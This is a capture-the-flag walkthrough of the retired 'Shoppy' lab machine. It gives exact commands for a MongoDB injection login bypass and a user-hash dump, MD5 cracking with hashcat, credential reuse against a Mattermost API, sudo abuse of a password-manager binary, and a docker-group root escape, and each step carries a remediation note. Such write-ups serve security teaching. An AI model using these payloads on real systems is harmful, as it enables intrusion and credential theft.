Shoppy
Summary
I found a shopping web app (shoppy.htb) whose login form and admin user-search both accepted MongoDB operator injection. Auth bypass delivered the admin panel; a second injection against the search endpoint dumped the MD5 password hashes of every registered user. The hash for the 'josh' account cracked instantly against a common wordlist, and that plaintext password was reused to authenticate into a Mattermost team-chat instance discovered on port 9093, where a dev-channel message posted the SSH password for the 'jaeger' system account in cleartext.
Once on the box as jaeger, a misconfigured sudo rule allowed running a compiled password-manager binary as the 'deploy' user; supplying its hard-coded master password printed deploy's cleartext SSH credential. The deploy account belonged to the docker group, which I weaponised by bind-mounting the host root filesystem into a disposable container — yielding full read/write access to every file on the system without a single kernel exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered, for jaeger>"
export PASSWORD3="<the-password-you-recovered, for deploy>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <josh_md5_hash> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm service versions on all three ports.
$ nmap -sV -p 22,80,9093 $TARGET
22/tcp open ssh OpenSSH 8.4p1
80/tcp open http nginx 1.23.1
9093/tcp open http GolangRegister both discovered vhosts for local resolution.
$ echo "$TARGET shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hostsFuzz for subdomains; mattermost returns HTTP 200.
$ ffuf -u http://shoppy.htb/ -H 'Host: FUZZ.shoppy.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 301Exact commands 2
Payload decodes to: username=admin'||'1=='1 — forces the MongoDB query to evaluate true for every document, returning an admin session.
$ curl -sS -c cookies.txt -X POST http://shoppy.htb/login -d 'username=admin%27%7C%7C%271%3D%3D%271&password=x' -LVerify admin panel access with the session cookie from the previous step.
$ curl -sS -b cookies.txt http://shoppy.htb/adminFixParameterize all MongoDB queries to eliminate NoSQL injectionCritical
Exact commands 1
Inject into the search parameter; response returns all user documents including plaintext-equivalent MD5 hashes.
$ curl -sS -b cookies.txt 'http://shoppy.htb/admin/search-users?username=admin%27%7C%7C%271%3D%3D%271'Exact commands 2
Paste the MD5 hash recovered from step 3; replace <josh_md5_hash> with the actual value.
$ echo '<josh_md5_hash>' > josh.hashMD5 mode (-m 0) against rockyou; resolves to $PASSWORD in seconds.
$ hashcat -m 0 josh.hash /usr/share/wordlists/rockyou.txt --showFixReplace unsalted MD5 password storage with a modern adaptive hashCritical
Exact commands 2
Authenticate to the Mattermost API and capture the session token from the Token response header.
$ curl -sS -X POST http://mattermost.shoppy.htb/api/v4/users/login -H 'Content-Type: application/json' -d '{"login_id":"josh","password":"'"$PASSWORD"'"}' -D - | grep -i tokenList teams, then enumerate channels within each team to locate the dev channel containing the jaeger credentials.
$ curl -sS http://mattermost.shoppy.htb/api/v4/teams -H 'Authorization: Bearer <TOKEN>'FixRemove credentials from Mattermost and enforce a secrets management policyHigh
Exact commands 2
Confirm shell execution as uid=1000(jaeger).
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'id'Read the user flag -> <user.txt>
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no jaeger@$TARGET 'cat ~/user.txt'Exact commands 2
Run from jaeger's SSH session; reveals: (deploy) NOPASSWD: /home/deploy/password-manager
$ sudo -lExecute the binary as deploy; enter '$PASSWORD4' as the master password when prompted — the binary prints deploy's plaintext SSH credential.
$ sudo -u deploy /home/deploy/password-managerFixRemove the NOPASSWD sudo rule granting jaeger access to the password manager binaryHigh
Exact commands 2
Confirm deploy's group membership includes 'docker'.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no deploy@$TARGET 'id; groups'Bind-mount host / into a container running as root; reads the root flag ( -> <root.txt>).
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no deploy@$TARGET 'docker run --rm -v /:/mnt -u 0 alpine chroot /mnt cat /root/root.txt'FixRemove the deploy account from the docker groupCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
| 80/tcp | http nginx 1.23.1 |
| 9093/tcp | http Golang net/http server |